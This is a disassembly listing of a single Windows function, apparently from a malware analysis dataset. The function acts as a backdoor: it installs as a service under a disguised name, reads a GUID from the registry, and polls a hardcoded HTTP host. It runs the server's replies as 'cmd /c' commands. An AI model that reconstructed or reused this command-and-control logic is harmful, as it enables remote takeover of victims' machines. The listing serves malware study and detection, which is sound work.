Function at 0x1400010e0
Capabilities:
Connect to http server
Create http request
Create process on windows
Query or enumerate registry value
Query remote server for available data
Read data from internet
Receive data
Send data
Send http request
Terminate process

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push r14
push r15
lea rbp, [rsp - 0x720]
sub rsp, 0x820
mov rax, qword [0x14001f008]
xor rax, rsp
mov qword [rbp + 0x710], rax
xor r15d, r15d
cmp dword [0x140020bf0], r15d
mov ebx, r15d
mov dword [rsp + 0x5c], r15d
jne 0x140001177
xor r8d, r8d
lea rdx, [fcn.1400010d0]
lea rcx, str.Gestionnaire_de_conexion_Windows
call qword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerExA]
mov rbx, rax
test rax, rax
je 0x1400014da
lea rdx, [rsp + 0x60]
mov qword [rsp + 0x64], 2
mov rcx, rax
mov qword [rsp + 0x74], r15
mov dword [rsp + 0x60], 0x10
mov qword [rsp + 0x6c], r15
call qword [sym.imp.ADVAPI32.dll_SetServiceStatus]
test eax, eax
jne 0x140001177
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rax, [rsp + 0x50]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREMicrosoftAppCompat2
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1400011ff
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x5c]
mov qword [rsp + 0x28], rax
lea r9, [rbp - 0x7c]
lea rax, [rbp]
xor r8d, r8d
lea rdx, str.GUID
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1400011ff
mov eax, dword [rsp + 0x5c]
cmp rax, 0xff
jae 0x1400011f9
lea rdx, [rbp]
mov byte [rbp + rax], r15b
lea rcx, [0x14001ca20]
call fcn.140001010
lea r14, [rbp]
jmp 0x140001206
call fcn.1400019e8
int3
lea r14, str.s3_amazon.off_by_one.net
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [0x140020bf0], r15d
jne 0x140001250
lea rdx, [rsp + 0x60]
mov qword [rsp + 0x64], 4
mov rcx, rbx
mov qword [rsp + 0x74], r15
mov dword [rsp + 0x60], 0x10
mov qword [rsp + 0x6c], r15
call qword [sym.imp.ADVAPI32.dll_SetServiceStatus]
test eax, eax
jne 0x140001250
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
xor r9d, r9d
mov qword [rsp + 0x848], rdi
xor r8d, r8d
mov dword [rsp + 0x20], r15d
xor edx, edx
lea rcx, str.HTTP
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rdi, rax
test rax, rax
je 0x1400014d2
mov qword [rsp + 0x840], rsi
nop word [rax + rax]
mov qword [rsp + 0x38], 1
mov r8d, 0x50
mov dword [rsp + 0x30], r15d
xor r9d, r9d
mov dword [rsp + 0x28], 3
mov rdx, r14
mov rcx, rdi
mov qword [rsp + 0x20], r15
call qword [sym.imp.WININET.dll_InternetConnectA]
mov rsi, rax
test rax, rax
jne 0x1400012e1
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, 0xc350
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400014a4
mov qword [rsp + 0x38], 1
lea r8, str._r_taz.jsp
mov dword [rsp + 0x30], 0x200
xor r9d, r9d
mov qword [rsp + 0x28], r15
xor edx, edx
mov rcx, rsi
mov qword [rsp + 0x20], r15
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov rbx, rax
test rax, rax
je 0x1400014ca
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x140001489
nop word [rax + rax]
xor edx, edx
mov dword [rsp + 0x58], r15d
mov r8d, 0x400
lea rcx, [rbp + 0x310]
call fcn.1400028c0
xor r9d, r9d
lea rdx, [rsp + 0x58]
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetQueryDataAvailable]
mov r8d, dword [rsp + 0x58]
lea r9, [rsp + 0x58]
lea rdx, [rbp + 0x310]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140001460
lea r9, [rbp + 0x310]
mov edx, 0x104
lea r8, str.cmd__c__s
lea rcx, [rbp + 0x100]
call fcn.140001070
xorps xmm0, xmm0
mov dword [rbp - 0x70], 0x68
xor eax, eax
lea rdx, [rbp + 0x100]
mov dword [rbp - 0xc], eax
xor r9d, r9d
mov qword [rsp + 0x70], rax
xor r8d, r8d
lea rax, [rsp + 0x60]
xor ecx, ecx
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x8000020
mov dword [rsp + 0x20], r15d
movups xmmword [rbp - 0x6c], xmm0
movups xmmword [rbp - 0x5c], xmm0
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 0x3c], xmm0
movups xmmword [rbp - 0x2c], xmm0
movups xmmword [rbp - 0x1c], xmm0
movups xmmword [rsp + 0x60], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [rbp - 0x80], r15d
test eax, eax
je 0x140001460
mov rcx, qword [rsp + 0x60]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x60]
lea rdx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
jne 0x140001350
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor r8d, r8d
lea rcx, str.HTTP
xor edx, edx
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rdi, rax
test rax, rax
jne 0x140001290
mov rsi, qword [rsp + 0x840]
mov rdi, qword [rsp + 0x848]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]